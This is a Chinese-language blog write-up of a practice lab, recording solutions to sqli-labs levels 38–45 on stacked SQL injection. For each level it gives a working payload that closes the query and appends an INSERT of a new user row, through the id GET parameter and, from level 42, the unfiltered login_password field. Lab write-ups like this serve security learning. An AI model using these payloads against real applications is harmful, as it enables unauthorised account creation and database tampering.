靶场练习-Sqli-labs通关记录(堆注入get与post型)(38-45关)

0x00 实验环境

本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

 

0x03 堆注入适用范围

简介:oracle 不能使用堆叠注入,当有两条语句在同一行时,直接报错。无效字符。mysql、sqlserver、Postgresql等都可以使用堆注入。插入语句请从菜鸟教程学习。

 

(38)第三十八关:

38关其实跟最简单的没啥区别,就一条查询语句,只不过为了让你能学习到堆注入,回忆一下,到目前为止,我们已经学了多少种注入了:(报错、延时、联合、堆注入)差不多4种了,每一种都对应了那么多关!

 

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

 

 去数据库查看一下表,插入数据成功,插入数据成功后知道要做什么了吗,当然是可以用这个账号登录之类的啦!

 

(39)第三十九关:

相比38关就少了个'逗号而已,应该也是一样的:

 

?id=1;insert into users(id,username,password) values ('39','less39','world')--+

 

 

 

(40)第四十关:

同理,第40关也是闭合语句不一样:

 

 

?id=1');insert into users(id,username,password) values ('40','less40','hahaha')--+

 

 

 

(41)第四十一关:

乍一看是跟39关一样的,不知道有哪里不同:

 

 

?id=1;insert into users(id,username,password) values ('41','less41','heiheihei')--+

 

 

 

(42)第四十二关:

在login.php这个文档内存在查询,但是有对用户名进行过滤:

 

 因为仅仅是对username进行了防护,所以可以对password进行堆注入攻击:

 

login_password=1';insert into users(id,username,password) values ('42','less42','zizizizi')--+

 

 响应OK,查看数据库已经写入数据:

 

(43)第四十三关:

与42关基本一致,仅仅是闭合语句不一样:

 

login_password=1');insert into users(id,username,password) values ('43','less43','xixixixi')--+

 

 

 

 

堆注入成功:

 

 

(44)第四十四关:

在login.php这个文档内存在查询,仅仅是对username进行了过滤,然后没有那个报错的页面了:

 

login_password=1';insert into users(id,username,password) values ('44','less44','ruoruoruoruo')--+

 

查询数据库,注入成功:

 

 

(45)第四十五关:

与43关没啥区别,一样的注入语句:

 

login_password=1');insert into users(id,username,password) values ('45','less45','wawawawa')--+

 

 

 

插入数据成功:

 

posted @ 2021-11-16 14:26  铺哩  阅读(104)  评论(0编辑  收藏  举报